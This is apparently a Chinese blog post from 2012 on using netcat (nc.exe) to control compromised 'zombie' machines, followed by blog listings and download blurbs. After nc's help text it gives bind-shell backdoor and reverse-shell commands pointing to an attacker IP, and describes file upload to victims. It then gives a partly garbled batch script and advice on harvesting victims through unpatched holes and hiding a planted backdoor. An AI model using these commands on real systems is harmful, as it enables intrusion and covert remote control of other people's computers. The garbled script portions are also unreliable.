nc.exe高级技巧应用汇总
2012年01月06日
文章结构
0. 写在前面的话
1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息
2. Netcat 1.10 for NT 帮助信息
3. Netcat 1.10 常用的命令格式
4. 管理肉鸡,更改肉鸡设置
5. 下载连接
6. 后记
######################################################################
0. 写在前面的话
######################################################################
最近工作比较空闲,老是想着怎么自动telnet肉鸡,自动执行命令。来管理自己的肉鸡。
自己写一个程序。功底是不够的,所以只有看了看nc的帮助信息,虽然只看了个半懂,
但是借助于金山词霸2002版本, 还是明白了一点东西.
我觉的有必要再总结一下.反正主要是满足我自己的需要.
######################################################################
1. Netcat 1.10 for NT - nc11nt.zip
######################################################################
Basic Features
* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomizer
* Can read command line arguments from standard inputb
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Ability to let another program service established
connections
* Telnet-options responder
New for NT
* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a new
connection
________________________________________________________________________
Some of the features of netcat are:
Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Optional ability to let another program service inbound connections
Some of the potential uses of netcat:
script backends
Scanning ports and inventorying services
Backup handlers
File transfers
Server testing and simulation
Firewall testing
Proxy gatewaying
Network performance testing
Address spoofing tests
Protecting X servers
1001 other uses you`ll likely come up with
Netcat + Encryption = Cryptcat
对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.
1.1 NC.EXE是一个非标准的telnet客户端程序,
1.2 还有一个putty.exe客户端程序,提供四种连接模式
-raw -telnet -rlogin -ssh.
######################################################################
2. Netcat 1.10 for NT 帮助信息
######################################################################
C:/WINDOWS/Desktop>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode (后台模式)
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft (本帮助信息)
-i secs delay interval for lines sent, ports scanned (延迟时间)
-l listen mode, for inbound connects (监听模式,等待连接)
-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)
-n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)
-o file hex dump of traffic (十六进制模式输出文件,三段)
-p port local port number (本地端口)
-r randomize local and remote ports (随机本地远程端口)
-s addr local source address (本地源地址)
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose] (-vv 更多信息)
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning] (扫描模式,-vv)
port numbers can be individual or ranges: m-n [inclusive]
######################################################################
3. Netcat 1.10 常用的命令格式
######################################################################
下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。
3.1.端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
3.2.扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
这样扫描会留下大量的痕迹,系统管理员会额外小心
3.3. 后门
victim machine: //受害者的机器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
3.4.反向连接
attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
这样就可以保证nc.exe优先于NETBIOS。
3.5.传送文件:
3.5.1 attacker machine path/file.txt /*victim machine*/ 需要Ctrl+C退出
//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡
nc -vv -l -p port > path/file.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port a.cmd
@echo s >>a.cmd
@echo cd /d %%windir%%/system32/ >>a.cmd
@net stop "sksockserver" >>a.cmd
@snake.exe -config port 11111 >>a.cmd
@net start "sksockserver" >>a.cmd
@exit >>a.cmd
:auto
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 >80.txt
goto start
把防火墙关掉以后运行这个批处理,会监听到许多探测U漏洞的信息,大多
是三条一组--妮姆达病毒扫描你的。这样就会得到肉鸡的.虽然质量不高.
但是也是一种便宜的办法.
肉鸡特征:
1。unicode漏洞
2。guest密码为空,administrators组用户
3。其他漏洞
自己慢慢的爽去吧。不过,再次强调一句,不建议而且是不能破坏国内主机,上去以后将tftp.exe改名。然后用pskill干掉mmc.exe进程,之后是杀毒。做好后门以后,将guest帐号停用,以对付傻瓜扫描器
######################################################################
5. 下载连接
######################################################################
5.1 http://www.atstake.com/research/tools/network_utilities/
Tool: Netcat 1.10 for Unix
Version: 03.20.96
Platforms: *nix
Tool: Netcat 1.1 for Win 95/98/NT/2000
Version: 02.08.98
Platforms: Runs on Win 95/98/NT/2000
5.2 http://www.xfocus.net/download.php?id=320
名称: cryptcat_nt.zip 更新时间: 2002-04-05
类别: 网络工具 平台: Win9x/NT/2000 大小: 115.8K 提交: maxilaw
简介: 加密传输的nc。
5.3 http://content.443.ch/pub/security/blackhat/Networking/nc/ 国外的网站
10.03.02 15:48 1305 cryptcat.txt
10.03.02 15:48 245760 cryptcat_linux2.tar
10.03.02 15:48 118533 cryptcat_nt.zip
发表评论
-
史上最强劲之android模拟器命令详解
2012-01-20 02:01 568史上最强劲之android模拟器命令详解 2010年11月2 ... -
android_adb命令
2012-01-20 02:01 615android_adb命令 2010年12月17日 An ... -
Microsoft 数据访问技术总结
2012-01-20 02:01 716Microsoft 数据访问技术总 ... -
使用类共享提高性能
2012-01-20 02:00 843使用类共享提高性能 2010年12月09日 共享类基础结 ... -
CENTOS python 升级
2012-01-19 09:48 644CENTOS python 升级 2011年07月28日 ... -
使用Pydev和eclipse配置python开发环境
2012-01-19 09:48 1007使用Pydev和eclipse配置python开发环境 20 ... -
python相关开发环境搭建介绍【转载】
2012-01-19 09:48 638python相关开发环境搭建介绍【转载】 2011年04月0 ... -
Python + Django + MySQLdb 环境安装配置
2012-01-19 09:48 871Python + Django + MySQLdb 环境安装配 ... -
Python Gossip:指令互动环境
2012-01-19 09:48 935Python Gossip:指令互动环境 2010年09月1 ... -
转:基于Chrome开源提取的界面开发框架开篇
2012-01-17 02:22 605转:基于Chrome开源提取的界面开发框架开篇 2011年1 ... -
win32 console application
2012-01-17 02:22 694win32 console application 2011 ... -
微软将对开发者所提要求进行评估
2012-01-17 02:21 520微软将对开发者所提要求进行评估 2011年12月29日 ... -
VC++串口笔记(一)枚举电脑串口
2012-01-17 02:21 1103VC++串口笔记(一)枚举电脑串口 2012年01月14日 ... -
ROM修改制作工具软件集合
2012-01-17 02:21 759ROM修改制作工具软件集合 2012年01月11日 1. ... -
慢慢研究
2012-01-15 22:00 591慢慢研究 2011年12月24日 ... -
Linux集群的安装与并行计算
2012-01-15 22:00 455Linux集群的安装与并行 ... -
strerror和erron参数函数的试用(经典)
2012-01-15 22:00 563strerror和erron参数函数的试用(经典) 2011 ... -
笔记本ThinkPad E425 1198-3LC
2012-01-15 22:00 933笔记本ThinkPad E425 1198-3LC 2012 ...
相关推荐
nc.exe 提交工具 瑞士军刀 nc.rar
亲测win10下可用。
网络中的瑞士军刀nc.exe使用方法 其中详细讲解了 nc的高级网络应用
nc.exe工具,可以用来反弹shell,exe只支持windows中使用,Linux中有的自动安装了nc工具,和windows中用法一样。
亲测可以成功运行,各种命令测试成功。其中包含nc.exe和nc64.exe。 可以获得目标主机的Shell,已成功实验。
nc.exe大家也非常熟悉了吧!~之所以叫瑞士军刀,因为它的功能太多,太强大了!
Churrasco.exe+nc.exe+http.exe提权工具
2.NC瑞士军刀nc.exe(附代码) 参数说明: -h 查看帮助信息 -d 后台模式 -e prog程序重定向,一但连接就执行[危险] -i secs延时的间隔 -l 监听模式,用于入站连接 -L 监听模式,连接天闭后仍然继续监听,...
NC监听软件,转发端口,适合windows平台,利器!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
netcat被誉为网络安全界的‘瑞士军刀’,相信没有什么人...‘浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,有此功能的原版NC好象要60KB:P),虽然“体积”小,但很完成很多工作。
本人未对上传工具进行任何二次修改!本软件为工具软件,可能会有部分杀毒软件报毒!可以使用虚拟机断网进行安全测试,如介意请勿下载。请勿进行学习之外的使用,本人不对不当或非法使用此软件负责,网络整理搬侵删!
1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息 2. Netcat 1.10 for NT 帮助信息 3. Netcat 1.10 常用的命令格式 4. 管理肉鸡,更改肉鸡设置 大家都应该知道的 传说中的瑞士军刀
nmap-6.4.0-setup.exe windows安装版/nc.exe windows绿色版
nc.exe windows系统探测服务端口是否开启
在使用snakeIISIDQ工具对iis的idq漏洞进行溢出成功后,可以利用nc进入目标主机的cmd中并建立用户以及提权。 例如snakeIISIDQ溢出的目标主机为192.168.5.4,溢出的端口是813,则进入目标主机cmd命令如 nc -vvv 192....
nc.uap.mde.editor_1.0.1.jar nc.uap.mde_1.0.2.jar NC开发 Eclipse要用到的包
本文件是针对window 64位操作系统的处理方式,步骤一、安装好netCDF4.8.1-NC4-64.exe,步骤二、运行cmd。找到安装文件ncdump.exe的目录。比如:C:\netCDF 4.8.1\bin\ncdump.exe。步骤三:在cmd中运行: .\ncdump .\...
NC开发初学者必备神器一份企业内部开发文档,绝对值得拥有,一本在手,走遍天下都不怕 第二章 NC系统 第一节 重要的类 流程平台客户端工具类nc.ui.pub.pf.PfUtilClient 查询类nc.ui.pub.query.QueryConditionClient ...